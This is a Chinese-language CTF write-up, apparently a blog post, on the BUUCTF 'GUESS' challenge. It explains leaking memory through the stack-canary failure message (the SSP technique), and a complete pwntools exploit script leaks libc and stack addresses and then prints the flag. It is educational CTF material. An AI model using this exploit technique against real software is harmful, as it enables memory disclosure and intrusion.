BUUCTF【GUSESS】(利用canary报错信息ssp攻击)

通过canary报错信息来解题(ssp攻击)

前言:

​ 我们知道栈溢出的基本原理是通过发送大量数据,溢出导致覆盖返回地址,劫持程序执行流,针对开启canary保护的题目,程序中存在gets()或类似这样的危险溢出函数,却又没其他洞的情况下,我们可以利用ssp攻击达到get flag,或get shell的目的.

背景知识:

​ 我们输入过多数据,导致栈溢出时,程序puts出来的报错信息同样是调用了__stack_chk_fail()函数来实现的,其源码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}

在这里插入图片描述

我拿一道例题来分析,可以看到,栈溢出发生时,程序会puts出这句话,同时会把程序的名称给puts出来,

分析报错源码可以发现,其实是puts出了__libc_argv[0]指针处的内容,如果可以控制 __libc_argv[0]处的值,我们也就可以任意地址泄露了,通过这个特性,我们可以轻松的leak出libc中的地址,但我们如果想要leak出栈上的任意地址呢,比如GUESS这道题目,通过审计ida,没发现可以直接leak出栈地址的漏洞,那么leak出的libc地址能否算出栈地址呢?答案是肯定的,算出libc地址,我们是可以算出栈地址的,在glibc中存在这么一个函数,_environ(),它是存在于libc中的一个环境指针,但它指向一个栈地址,我们通过leak出_environ也就得到了栈地址,通过固定的偏移,我们也就可以达到leak栈中任意地址.

通过上述分析,我们来看GUESS这道题目

检查保护:

在这里插入图片描述

开启了canary,NX保护,也就意味着我们无法顺利的通过溢出getshell.

IDA分析:

在这里插入图片描述

程序的主逻辑,在最后我们输入正确的flag的话,就puts我们成功了,但我们知道的话就直接提交得分了,还在这浪费时间干嘛哈哈哈哈,所以这里的strcmp()以下对我们来说是没用的,通过上边的分析,我们来利用ssp攻击来get flag.

打断点到gets()处,

在这里插入图片描述

我们输入的地址在rdi指向的栈地址,此时可以看到,程序的名称存在于一个栈地址,如果我们发生了栈溢出,程序就会puts出来程序名称,如果我们将此地址覆盖成libc中的一个地址,那么我们就会得到了一个存在与libc中的地址,那么这段偏移就是上图计算出来的0x128,于是我们构造payload:

payload = 'A'*0x128+p64(elf.got['puts'])

我们也就得到了puts()函数的地址,也就可以计算出_environ()地址,

同样的我们知道了_environ()地址,我们也就知道了_environ()指向的栈地址,通过固定的偏移,我们也就可以算出flag在栈上的地址,我们也就得到了flag.

exp分析:
from pwn import *
from LibcSearcher import *

elf = ELF('./GUESS')
io = remote('node4.buuoj.cn',29231)
#io = process('./GUESS')

context(log_level='debug')

io.recvuntil('flag')

#gdb.attach(io)
#leak puts()地址,计算libc_base
io.sendline('A'*0x128+p64(elf.got['puts']))
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success('puts:'+hex(leak))
libc = LibcSearcher('puts',leak)  #要用到LibcSearcher,选4是正确的libc版本

libc_base = leak-libc.dump('puts')
success('libc_base:'+hex(libc_base))
environ_addr = libc_base + libc.dump('_environ') #计算出_environ()地址
success('environ_addr:'+hex(environ_addr))

io.recvuntil('flag')

io.sendline('A'*0x128+p64(environ_addr))
stack = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success('stack:'+hex(stack))

flag_addr = stack - 0x168  #gdb动调得到,大家可以自己动手调试一下
io.recvuntil('flag')   

io.sendline('A'*0x128+p64(flag_addr)) #leak出flag!


io.interactive()

在这里插入图片描述

报错了,但flag出了哈哈哈哈哈!!!

通过这道题目,我们可以知道给出了一个libc中的地址,我们也就相当于知道了一个栈地址,_environ()起到了一个在libc和栈地址的一个桥梁的作用.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值